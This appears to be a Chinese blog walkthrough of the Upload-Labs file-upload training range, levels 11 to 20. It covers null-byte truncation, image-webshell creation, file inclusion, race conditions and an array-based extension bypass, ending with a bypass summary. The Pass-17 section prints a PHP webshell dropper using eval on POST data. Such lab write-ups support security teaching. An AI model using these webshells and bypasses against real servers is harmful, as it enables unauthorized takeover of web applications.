Upload-Labs靶场攻略(下)

Pass-11

GET型传参,上传目录可设置,考虑00截断,在/upload/后添加1.php%00,即可上传

Pass-12

POST型传参,上传目录可设置,POST型会不会进行URL编码,所以在/upload/后添加1.php%00,并且将%00用URL进行编码。编码后为空白符号,即可上传

Pass-13

文件包含,上传图片码1.jpg,利用文件包含将JPG内容当作PHP进行解析

生成图片码命令

copy 1.jpg /b + 1.php /a 2.jpg

192.168.28.128/uploadlab/include.php?file=upload/1420210717064745.png

Pass-14

同第13关

Pass-15

同14关

Pass-16

二次渲染,依旧上传图片码,找到未被渲染的位置,用C32将一句话木马插入。依旧上传,采用文件包含即可。

Pass-17

条件竞争,服务器端将上传的文件进行先保存再判断,如果正确则重命名,否则删除。

通过爆破持续上传,然后通过访问,生成新的木马文件。

上传的木马如下:

<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST[123]) ?>’);
?>

上传后进行爆破访问,生成webshell.php即为后门文件

Pass-18

图片马加条件竞争,先上传图片马,然后通过文件包含访问图片马,生产Webshell文件

Pass-19

%00截断,方法同Pass-12

Pass-20

进行代码审计,类似CTF

MIME首先得是image/png、image/gif、image/jpg

   if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

会根据.将$file先转化为小写再打散成数组。

     $ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}

会对数组中最后一个值进行判断是否是jpg,png,gif结尾

            $file_name = reset($file) . '.' . $file[count($file) - 1];

将数组的第一个值和倒数第二个值进行拼接。

所以我们考虑数组的最后一个值必须是jpg,第一个和第二个值还需要再考虑

   if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
}

这边可以看到将临时文件存储再img_path,所以img_path其实可以根据传入的save_name[]数组进行操控。

而move_uploaded_file在执行的时候会忽略末尾的/.,所以根据拼接

save_name[0]=web.php/

save_name[1]为空

save_name[2]=jpg

注意POST上传改包的数据包型式即可。

总结:文件上传的种类和手法:

1.前端JS验证:禁用JS,Burp抓包修改

2.只检查Content-type,修改MIME

3.黑名单绕过:爆破尾缀

4.系统配置文件重写,.htaccess,.nginx

5.大小写绕过、尾缀添加点,空格,下划线绕过,添加::$DATA

6.过滤敏感词汇使用双写绕过

7.上传目录可控可以使用00截断,GET传参不需要编码,POST需要进行编码成为空白

8.存在文件包含漏洞可上传图片马,进行包含

9.条件竞争是服务器处理上的逻辑漏洞,需要爆破上传和爆破访问

10.代码审计需要理清楚一步一步的上传逻辑

Upload-labs 文件上传靶场通关攻略(下)的更多相关文章

  1. Upload-labs 文件上传靶场通关攻略(上)

    Upload-labs 文件上传靶场通关攻略(上) 文件上传是Web网页中常见的功能之一,通常情况下恶意的文件上传,会形成漏洞. 逻辑是这样的:用户通过上传点上传了恶意文件,通过服务器的校验后保存到指 ...

  2. Web文件上传靶场 - 通关笔记

    Web应用程序通常会提供一些上传功能,比如上传头像,图片资源等,只要与资源传输有关的地方就可能存在上传漏洞,上传漏洞归根结底是程序员在对用户文件上传时控制不足或者是处理的缺陷导致的,文件上传漏洞在渗透 ...

  3. DVWA靶场之File Upload(文件上传)通关

    Low: <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_pa ...

  4. 【DVWA】File Upload(文件上传漏洞)通关教程

    日期:2019-08-01 17:28:33 更新: 作者:Bay0net 介绍: 0x01. 漏洞介绍 在渗透测试过程中,能够快速获取服务器权限的一个办法. 如果开发者对上传的内容过滤的不严,那么就 ...

  5. upload.php --->文件上传

    <?php header("Content-type:text/html;charset=utf-8"); print_r($_FILES['file']); $filena ...

  6. PHP系列 | Thinkphp3.2 上传七牛 bad token 问题 [ layui.upload 图片/文件上传]

    前端代码 <div class="logo_out" id="upload-logo"></div> JS代码 /** * 上传图片 * ...

  7. DVWA全级别之File Upload(文件上传)

    File Upload File Upload,即文件上传漏洞,通常是由于对上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带 ...

  8. File Upload(文件上传)

    一句话木马 <?php @eval($_POST['key']); ?> /*eval(phpcode) eval() 函数把字符串按照 PHP 代码来计算. 该字符串必须是合法的 PHP ...

  9. 从本地向 Github 上传项目步骤攻略(快速上手版)

    最近想把之前自己做的一些好玩的项目共享到Github,网上找了一圈上传教程,都感觉写的太深奥.复杂,云里雾里,特把自己的方法纪录如下: PS:这种方式一般适用于:开始做项目时,没有直接在github上 ...

随机推荐

  1. 《手把手教你》系列基础篇(五)-java+ selenium自动化测试- 创建首个自动化脚本(详细教程)

    1.简介 前面几篇宏哥介绍了两种(java和maven)环境搭建和三大浏览器的启动方法,这篇文章宏哥将要介绍第一个自动化测试脚本.前边环境都搭建成功了,浏览器也驱动成功了,那么我们不着急学习其他内容, ...

  2. Docker 镜像针对不同语言的精简策略

    导航: 这里分为几个部分. 相关转载云原生:米开朗基杨 1.Docker减小镜像体积 2.Docker镜像针对不同语言的精简策略 对于刚接触容器的人来说,他们很容易被自己制作的 Docker 镜像体积 ...

  3. Redis之内存优化

    Redis所有的数据都存在内存中,当前内存虽然越来越便宜,但跟廉价的硬盘相比成本还是比较昂贵,因此如何高效利用Redis内存变得非常重要.高效利用Redis内存首先需要理解Redis内存消耗在哪里,如 ...

  4. 温故知新,.Net Core遇见Postman(API Development),进阶分布式微服务高效调式

    什么是Postman 环境变量(Environments) 全局协议 描述 变量 初始值 当前值 请求协议 request_protocol http http 授权信息 描述 变量 初始值 当前值 ...

  5. 32、sed命令详解

    32.1.sed介绍: 1.sed(sed软件常称做)是流编辑器,是操作.过滤.和转换文本内容的工具: 2.sed的模式空间和保持空间介绍: (1)模式空间:sed处理文本内容行的一个临时缓冲区,模式 ...

  6. Gym 101334E dp

    分析: 这一题给出的遍历的点的序列,不是树的中序遍历,前序遍历,只要遇到一个节点就打印一个节点.关键点就在,这个序列的首字母和尾字母一定要相同,因为最终都会回到根节点,那么每一个子树也一样. 状态: ...

  7. Mysql:mysql5.7长时间不连接失效问题

    问题 mysql5数据库连接超时问题:待机一晚上后,第二天早上第一次登录总是失败. 查看日志发现如下错误: "com.mysql.jdbc.exceptions.jdbc4.Communic ...

  8. 在CentOS7上面部署项目,报出找不到表的错误

    最近在linux服务器上面部署一个javaweb的项目,报出一些奇怪的错误,拉到报错信息的最下面显示mysql数据库的某个表找不到,可以在windows上面是能正常运行的. 最后发现原来是linux服 ...

  9. 打开设置windows10内置linux功能-启用linux子系统

    第一步设置开发者模式 步骤:windows+s打开娜娜,输入设置,并点击. 点击更新与安全 点击开发者选项,选择开发者模型,弹出的对话框选确定之后等待安装完毕. 第二步:安装linux 点击确定后等待 ...

  10. 视图:DBA_TAB_PARTITIONS 分区表视图

    Column Datatype 释义 Description TABLE_OWNER VARCHAR2(128) 表的owner Owner of the table TABLE_NAME VARCH ...